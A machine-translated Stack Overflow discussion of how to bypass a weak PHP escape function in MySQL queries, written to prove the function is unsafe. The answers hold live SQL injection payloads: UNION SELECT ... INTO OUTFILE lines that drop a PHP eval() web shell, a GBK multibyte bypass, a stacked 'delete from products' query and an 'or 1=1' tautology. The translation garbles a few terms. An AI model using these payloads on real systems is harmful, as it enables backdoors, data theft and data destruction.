Нашли слабую escape-функцию для MySql, как ее использовать?

В приложении, над которым я работаю, обнаружена слабая функция escape, предотвращающая инъекцию. Я пытаюсь доказать это, но у меня возникают проблемы при создании простого примера.

Функция escape работает следующим образом (пример PHP).

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

Я понимаю, что это не касается значений, закодированных с использованием double quotes ("), но все запросы строятся с использованием одинарных кавычек (').

Кто может победить эту escape-функцию?

Требования:

  • Строка в запросах всегда заключена в кавычки.
  • Двойные кавычки никогда не используются.
  • MySQL-соединение установлено в UTF8.

Простые примеры:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
21
задан Evert 19 August 2010 в 05:41
поделиться

7 ответов

Если вы просто заменяете ' на ' ', то вы можете использовать это, введя \' , который превратится в \ '' , и это позволит вам вырваться, потому что это дает вам одинарные кавычки "символьного литерала" и настоящие одинарные кавычки. Однако замена "\\" на "\\\\" сводит на нет эту атаку. Двойные одинарные кавычки используются для «выхода» из одинарных кавычек для MS-SQL, но это не подходит для MySQL, но может работать.

Следующие коды доказывают , что эта функция выхода безопасна для всех, кроме трех условий . Этот код переставляет все возможные варианты контрольных чартов и проверяет каждый из них, чтобы убедиться, что ошибка не возникает при использовании оператора select, заключенного в одинарную кавычку. Этот код был протестирован на MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Уязвимое условие 1: кавычки не используются.

mysql_query("select username from users where id=".escape($_GET['id']));

Эксплойт:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Уязвимое условие 2: используются двойные кавычки

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Эксплойт:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Уязвимое условие 2: используются одинарные кавычки, однако используется альтернативный набор символов . .

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Эксплойт:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Вывод состоит в том, чтобы всегда использовать mysql_real_escape_string () в качестве процедуры выхода для MySQL. Библиотеки параметризованных запросов, такие как pdo и adodb, всегда используют mysql_real_escape_string () при подключении к базе данных mysql. addlashes () НАМНОГО ЛУЧШЕ процедуры выхода, потому что он заботится об уязвимом состоянии 2. Следует отметить, что даже mysql_real_escape_string () не остановит условие 1, однако библиотека параметризованных запросов будет.

11
ответ дан 29 November 2019 в 21:57
поделиться

Кроме того, вы можете попробовать что-нибудь с UNION SELECT

shop.php? Productid = 322

=>

shop.php? Productid = 322 UNION SELECT 1, 2,3 ОТ пользователей WHERE 1; -

Для отображения информации из других таблиц.

Конечно, вам придется изменить имя таблицы и числа внутри UNION SELECT, чтобы они соответствовали количеству имеющихся столбцов. Это популярный способ извлечения данных, таких как имена пользователей и пароли администраторов.

3
ответ дан 29 November 2019 в 21:57
поделиться

Функция escape не обрабатывает многобайтовые символы. Проверьте http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string , чтобы узнать, как использовать эту escape-функцию.

Удачи вам, взломав свою базу данных!

3
ответ дан 29 November 2019 в 21:57
поделиться

Как насчет работы с числами?

shop.php?productid=322 

становится

SELECT * FROM [Products] WHERE productid = 322


shop.php?productid=322; delete from products;--

становится

SELECT * FROM [Products] WHERE productid = 322; удалить из продуктов; -

(Не все запросы состоят из одинарных кавычек и строк)

1
ответ дан 29 November 2019 в 21:57
поделиться

Я никогда не использовал PHP, однако нельзя ли использовать вызовы хранимых процедур вместо прямых операторов SQL? Кажется, это лучшая защита от SQL-инъекции, чем попытка использовать escape-функцию.

Однако функция escape может быть полезна против вредоносного javascript.

0
ответ дан 29 November 2019 в 21:57
поделиться

Поскольку вы используете UTF-8 в качестве кодировки, это может быть уязвимо для слишком длинной последовательности UTF-8. Символ апострофа ('), который обычно кодируется как 0x27, может быть закодирован как длинная последовательность 0xc0 0xa7 (URL-код: %c0%a7). Функция escape пропустит это, но MySQL может интерпретировать это таким образом, что вызовет SQL-инъекцию.

Как отмечали другие, вам действительно нужно использовать mysql_real_escape_string, как минимум (в вашем случае это легко исправить), которая должна обрабатывать кодировку символов и другие вопросы за вас. Предпочтительнее перейти на использование подготовленных операторов.

1
ответ дан 29 November 2019 в 21:57
поделиться

как about ...

\' or 1=1--

Который должен быть расширен до:

\'' or 1=1--

Таким образом, использование его для id в следующем запросе ...

$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

должно привести к:

$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';
0
ответ дан 29 November 2019 в 21:57
поделиться
Другие вопросы по тегам:

Похожие вопросы: